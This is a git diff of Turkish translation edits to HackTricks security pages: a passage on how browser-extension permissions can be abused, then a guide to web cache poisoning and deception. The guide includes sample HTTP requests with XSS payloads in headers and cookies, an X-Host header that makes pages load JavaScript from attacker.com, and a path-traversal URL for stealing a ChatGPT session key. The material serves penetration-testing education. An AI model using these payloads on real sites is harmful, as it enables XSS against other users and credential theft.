sayfasını keyfi olarak bir sekmenize yükleyebilir ve ilgili sekmeyi etkinleştirebilir. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()`'ye çok benzer ancak **mevcut bir sekmeyi değiştirir**. Bu nedenle, kötü niyetli bir uzantı örneğin reklam sayfasını rastgele bir sekmesine yükleyebilir ve ilgili sekmeyi de etkinleştirebilir. -### Web kamerası, coğrafi konum ve diğerleri +### Kamera, coğrafi konum ve arkadaşlar -Muhtemelen web sitelerinin özel izinler isteyebileceğini biliyorsunuzdur, örneğin web kamerasına (video konferans araçları) veya coğrafi konuma (haritalar) erişmek için. Bu, kötüye kullanım potansiyeli yüksek özelliklerdir, bu nedenle kullanıcılar her seferinde bunu onaylamak zorundadır. +Muhtemelen web sitelerinin özel izinler isteyebileceğini biliyorsunuz, örneğin kameranıza (video konferans araçları) veya coğrafi konumunuza (haritalar) erişmek için. Bu, kötüye kullanım potansiyeli yüksek özelliklerdir, bu nedenle kullanıcılar her seferinde bunu hala istediklerine dair onay vermek zorundadır. {% hint style="danger" %} -Ancak tarayıcı uzantıları için durum böyle değildir. Bir tarayıcı uzantısı [**web kamerasına veya mikrofona erişmek istediğinde**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, sadece bir kez izin istemesi yeterlidir** +Ancak tarayıcı uzantıları için durum farklıdır. **Bir tarayıcı uzantısı** [**kameranıza veya mikrofonunuza erişmek istiyorsa**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, sadece bir kez izin istemesi yeterlidir** {% endhint %} -Genellikle, bir uzantı bunu yüklenir yüklenmez yapar. Bu onay kabul edildikten sonra, **web kamerasına her zaman erişim mümkündür**, hatta kullanıcı bu noktada uzantıyla etkileşimde bulunmuyorsa bile. Evet, bir kullanıcı uzantının gerçekten web kamerasına ihtiyaç duyduğunu düşünerek bu onayı kabul eder. Ancak bundan sonra uzantının gizlice bir şey kaydetmemesine güvenmek zorundadır. +Genellikle, bir uzantı bunu yüklendikten hemen sonra yapar. Bu izin verildiğinde, **kamera erişimi her zaman mümkündür**, hatta kullanıcı bu noktada uzantıyla etkileşimde değilse. Evet, bir kullanıcı yalnızca uzantının gerçekten kamera erişimine ihtiyaç duyduğunda bu izni kabul eder. Ancak bundan sonra uzantının gizlice bir şey kaydetmemesi için uzantıya güvenmek zorundadır. -[**Tam coğrafi konumunuz**](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) veya [panonuzun içeriği](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API) gibi özelliklere erişim için açıkça izin vermek gerekmez. Bir uzantı, manifestosunun [**izinler girişine**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **`geolocation`** veya **`clipboard`** ekler. Bu erişim izinleri, uzantı yüklendiğinde otomatik olarak verilir. Bu nedenle, bu yetkilere sahip kötü niyetli veya tehlikeli bir uzantı, hareket profilinizi oluşturabilir veya kopyalanan parolalarınızı fark etmeden panonuzu izleyebilir. +[Doğru coğrafi konumunuza](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) veya [panonuzun içeriğine](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API) erişim için açıkça izin vermek gerekli değildir. **Bir uzantı sadece manifestosunun** [**izinler girişine**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **`geolocation` veya `clipboard` ekler**. Bu erişim ayrıcalıkları, uzantı yüklendiğinde zımni olarak verilir. Bu nedenle, bu ayrıcalıklara sahip kötü niyetli veya tehlikeye atılmış bir uzantı, fark etmeden hareket profilinizi oluşturabilir veya panonuzu kopyalanan şifreler için izleyebilir. -[**history**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) anahtarını uzantı manifestosunun [izinler girişine](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) eklemek, **tüm tarayıcı geçmişini beklemek zorunda kalmadan kullanıcının tüm gezinme geçmişini almayı** sağlar. +[**history`** anahtarını uzantı manifestosunun [izinler girişine](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) eklemek, **kullanıcının tüm gezinme geçmişine** [**erişim sağlar**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Bu, kullanıcının bu web sitelerini tekrar ziyaret etmesini beklemeksizin tüm gezinme geçmişini almayı sağlar. -**`bookmarks`** **izin**i benzer kötüye kullanım potansiyeline sahiptir, bu izin [**bookmarks API'si**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) aracılığıyla tüm yer imlerini okumaya izin verir. +**`bookmarks`** **izin** benzer kötüye kullanım potansiyeline sahiptir, bu izin **tüm yer işaretlerini** [**yer işaretleri API'si**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **aracılığıyla okumayı sağlar**. -### Dep +### Depolama izni + +Uzantı depolama alanı yalnızca bir anahtar-değer koleksiyonudur, herhangi bir web sitesinin kullanabileceği [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) ile çok benzerdir. Bu nedenle burada hassas bilgiler saklanmamalıdır. + +Ancak, reklam şirketleri de bu depoyu kötüye kullanabilir. + +### Daha fazla izin + +[**Bir Chromium Tarayıcı Uzantısının isteyebileceği izinlerin tam listesini burada bulabilirsiniz**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) ve [**Firefox uzantıları için tam listeyi burada bulabilirsiniz**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.** + +## Önleme + +Google'ın geliştirici politikası, uzantıların işlevselliği için gerekli olan ayrıcalıklardan fazlasını istemelerini açıkça yasaklayarak aşırı izin isteklerini etkili bir şekilde azaltır. Bir tarayıcı uzantısının bu sınırı aşmasıyla ilgili bir örnek, tarayıcıyla birlikte tarayıcıda dağıtılmasıydı, bir eklenti mağazası aracılığıyla değil. + +Tarayıcılar, uzantı ayrıcalıklarının kötüye kullanımını daha da azaltabilir. Örneğin, ekran kaydı için kullanılan Chrome'un [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) ve [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API'ları, kötüye kullanımı en aza indirmek amacıyla tasarlanmıştır. tabCapture API'si, uzantı simgesine tıklama gibi doğrudan kullanıcı etkileşimi aracılığıyla yalnızca etkinleştirilebilirken, desktopCapture, kaydedilecek pencerenin onayını almak için kullanıcı onayı gerektirir, gizlice kayıt faaliyetlerini önler. + +Ancak, güvenlik önlemlerini sıkılaştırmak genellikle uzantıların esnekliğinin ve kullanıcı dostu olma özelliğinin azalmasına neden olur. [activeTab izni](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission) bu dengeyi gösterir. Uzantıların tüm internet üzerinde ana bilgisayar ayrıcalıkları istemelerine gerek kalmadan yalnızca kullanıcının açıkça etkinleştirmesi durumunda yalnızca mevcut sekmeye erişmelerine izin vermek için tanıtıldı. Bu model, kullanıcı tarafından başlatılan eylemler gerektiren uzantılar için etkilidir ancak otomatik veya önceden hareket gerektiren uzantılar için yetersiz kalır, bu da kullanım kolaylığını ve anında yanıt verme yeteneğini tehlikeye atar. ## **Referanslar** -* [https://palant.info/2022/08/17/extension-izinlerinin-etkisi/](https://palant.info/2022/08/17/extension-izinlerinin-etkisi/) -* [https://www.cobalt.io/blog/chrome-tarayici-uzantisi-guvenlik-testine-giris](https://www.cobalt.io/blog/chrome-tarayici-uzantisi-guvenlik-testine-giris) +* [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) +* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.** -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index 8c5df9120..8f55e5f27 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -10,14 +10,14 @@ HackTricks'ı desteklemenin diğer yolları: * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -27,54 +27,54 @@ Bugün Erişim Alın: > **Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?** > > * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü niyetli içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur. -> * **Web önbellek aldatmacasında**, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe depolamaya zorlar ve ardından bu içeriği önbellekten alır. +> * **Web önbellek aldatmacasında**, saldırgan uygulamayı önbelleğe başka bir kullanıcıya ait hassas içerikler depolamaya zorlar ve ardından bu içeriği önbellekten alır. ## Önbellek Zehirlenmesi -Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirli yanıtın yalnızca önbelleğin kirletilme süresi içinde sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır. +Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirletilmiş yanıtın yalnızca önbellek kirliliği döneminde sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır. Önbellek zehirlenmesi saldırısının gerçekleştirilmesi birkaç adımı içerir: -1. **Anahtarlanmamış Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir. -2. **Anahtarlanmamış Girişlerin Sömürülmesi**: Anahtarlanmamış girişleri tanımladıktan sonra, bir sonraki adım bu parametreleri nasıl kötüye kullanacağınızı belirlemeyi içerir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir. -3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin kirletildiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı, kirli yanıtı alacaktır. +1. **Anahtarsız Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilecek parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir. +2. **Anahtarsız Girişlerin Sömürülmesi**: Anahtarsız girişleri tanımladıktan sonra, bir sonraki adım bu parametreleri nasıl kötüye kullanacağınızı belirlemeyi içerir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir. +3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin zehirlendiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı kirletilmiş yanıtı alacaktır. ### Keşif: HTTP başlıklarını kontrol edin -Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu postada dikkat etmeniz gereken başlıkları kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken hangi başlıklar olduğunu bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). ### Keşif: 400 kodunu önbelleğe alma -Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da bir **durum kodu 400** ile yanıtlanmalıdır. Sonra isteği normal olarak erişmeyi deneyin ve yanıtın **400 durum kodu** olduğunu gördüğünüzde, zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).\ +Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek gönderebilirsiniz**, bu da bir **durum kodu 400** ile yanıtlanmalıdır. Daha sonra isteği normal olarak erişmeyi deneyin ve yanıtın bir 400 durum kodu olup olmadığını kontrol edin, bu durumda zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).\ Kötü yapılandırılmış bir başlık sadece `\:` olabilir.\ -_Not: Bazen bu tür durum kodları önbelleğe alınmaz, bu yüzden bu test işe yaramaz olabilir._ +_Not: Bu tür durum kodlarının bazen önbelleğe alınmadığını unutmayın, bu test işe yaramaz olabilir._ -### Keşif: Anahtarlanmamış girişleri tanımlayın ve değerlendirin +### Keşif: Anahtarsız girişleri tanımlama ve değerlendirme -[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek **parametreleri ve başlıkları brute-force** edebilirsiniz. Örneğin, bir sayfa istemciye oradan betiği yüklemesi için `X-Forwarded-For` başlığını kullanabilir. +[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek parametreleri ve başlıkları **brute-force** yöntemiyle belirleyebilirsiniz. Örneğin, bir sayfa istemciye betiği oradan yüklemesi için `X-Forwarded-For` başlığını kullanabilir. ```markup ``` ### Zararlı bir yanıtı arka uç sunucudan çıkarın -Parametre/başlık belirlendikten sonra, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin kontrolünüzdeki bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...) +Belirlenen parametre/başlık ile kontrol edin, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin tarafınızdan kontrol edilen bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...) ### Yanıtı önbelleğe alın -Kötüye kullanılabilecek **sayfayı**, hangi **parametreyi/başlığı** kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.\ +Kötüye kullanılabilecek **sayfayı** belirledikten sonra hangi **parametre/başlık**'ı kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeler yapmanız gerekebilir.\ Yanıtta bulunan **`X-Cache`** başlığı, isteğin önbelleğe alınmadığı durumlarda **`miss`** değerine sahip olabileceği gibi, önbelleğe alındığında **`hit`** değerine sahip olabilir.\ **`Cache-Control`** başlığı da ilginç olabilir, bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını bilmek için: `Cache-Control: public, max-age=1800`\ -Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak kabul edilmeyen ek başlıkları belirtmek için kullanılır. Bu nedenle, saldırgan, hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent` kullanan kullanıcılar için önbelleği zehirleyebilir.\ -Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca bulunduğunu tanımlar. +Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak işlenen normalde anahtarlanmamış ek başlıkları belirtmek için kullanılır. Bu nedenle, kullanıcı hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\ +Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca olduğunu tanımlar. -Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtar** olarak kullanılabilir ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılarla** bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin. +Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtarlanabilir** ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin. ## Sömürü Örnekleri ### En kolay örnek `X-Forwarded-For` gibi bir başlık yanıtta temizlenmeden yansıtılıyor.\ -Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS'e maruz kalacaktır: +Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS olacaktır: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -82,7 +82,7 @@ X-Forwarded-Host: a.">" ``` ### Web önbellek zehirlenmesini kullanarak çerez işleme açıklarını sömürme -Çerezler ayrıca bir sayfanın yanıtında yansıtılabilmektedir. Örneğin bir XSS oluşturmak için bunu istismar edebilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemci üzerinde XSS'i sömürebilirsiniz. +Çerezler ayrıca bir sayfanın yanıtında yansıtılabilir. Örneğin bir XSS oluşturmak için bunu kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz. ```markup GET / HTTP/1.1 Host: vulnerable.com @@ -90,20 +90,20 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` ### API anahtarını çalmak için yol gezinimini kullanarak önbellek zehirlenmesi -[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), URL'yi `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi kullanarak bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alacağı belirtilmiştir, bu da isteğin web sunucusuna ulaştığında yapıldı. +[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alacağı belirtilmiştir, bu da isteğin web sunucusuna ulaştığında yapıldı. ### Web önbellek zehirlenmesi açıklarını sömürmek için birden fazla başlık kullanma -Bazen bir önbelleği kötüye kullanabilmek için **birkaç anahtarsız girişi sömürmeniz gerekebilir**. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Sunucu** tüm **HTTP** isteklerini **HTTPS'ye yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, yönlendirmenin nereye yapıldığını kontrol edebilirsiniz. +Bazen bir önbelleği kötüye kullanabilmek için **birkaç anahtarsız girişi sömürmeniz gerekebilir**. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS'ye yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, yönlendirmenin nereye yapıldığını kontrol edebilirsiniz. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Sınırlı `Vary` başlığı ile istismar +### Sınırlı `Vary` başlığı ile sömürme -Eğer yanıtta **`User-Agent`**'ı işaret eden **`Vary`** başlığı kullanılıyorsa ve **`X-Host`** başlığının bir JS kaynağını yüklemek için **alan adı** olarak kullanıldığını bulduysanız, kurbanın User-Agent'ını dışa çıkarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir: +Eğer yanıtta **`User-Agent`**'ı işaret eden **`Vary`** başlığı kullanılan **`X-Host`** başlığını **bir alan adı olarak JS kaynağını yüklemek** için bulduysanız, o zaman kurbanın User-Agent'ını dışa aktarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -112,7 +112,7 @@ X-Host: attacker.com ``` ### HTTP İsteği Kaçırarak HTTP Önbellek Zehirlenmesini Sömürme -[HTTP İsteği Kaçırarak Web Önbellek Zehirlenmesi Yapma](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) hakkında buradan bilgi edinin. +[HTTP İsteği Kaçırarak Web Önbellek Zehirlenmesini Gerçekleştirmek](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) hakkında buradan bilgi edinin. ### Web Önbellek Zehirlenmesi için Otomatik Testler @@ -120,7 +120,7 @@ X-Host: attacker.com Örnek kullanım: `wcvs -u example.com` -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ @@ -130,29 +130,29 @@ Bugün Erişim Alın: ## Zafiyetli Örnekler -### Apache Trafik Sunucusu ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) +### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS, URL içindeki parçayı kaldırmadan iletmiş ve önbellek anahtarını sadece ana bilgisayar, yol ve sorgu kullanarak oluşturmuş (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği, `/#/../?r=javascript:alert(1)` olarak arka uca gönderildi ve önbellek anahtarı içinde yük bulunmuyordu, sadece ana bilgisayar, yol ve sorgu bulunuyordu. +ATS, URL içindeki parçayı kaldırmadan iletmiş ve önbellek anahtarını sadece ana bilgisayar, yol ve sorgu kullanarak oluşturmuş (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarı içinde yalnızca ana bilgisayar, yol ve sorgu bulunuyordu. ### GitHub CP-DoS -İçerik türü başlığında kötü bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetikledi. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulama yapılmamış kullanıcılara saldırı yapmak mümkündü. +İçerik türü başlığında kötü bir değer göndermek 405 önbelleğe alınmış yanıtı tetikledi. Önbellek anahtarı çerez içeriyordu, bu nedenle yalnızca kimlik doğrulaması yapılmamış kullanıcılara saldırı yapmak mümkündü. ### GitLab + GCP CP-DoS -GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir. +GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilirdi. ### Rack Ara Yazılımı (Ruby on Rails) -Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma yönlendirilen bir 301 yönlendirmesi gerçekleşir, bu da potansiyel olarak o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarını yüklemesine neden olabilir ve güvenlik riski oluşturabilir. +Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma yönlendirilen bir 301 yönlendirmesi gerçekleşir, bu da o kaynağa karşı bir Hizmet Reddi (DoS) oluşturabilir. Ayrıca, uygulama `X-forwarded-host` başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarını yüklemesine neden olabilir ve güvenlik riski oluşturabilir. ### 403 ve Depolama Kovaları -Cloudflare önceden 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtına neden olurdu. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir. +Cloudflare önceden 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtına neden oluyordu. Cloudflare 403 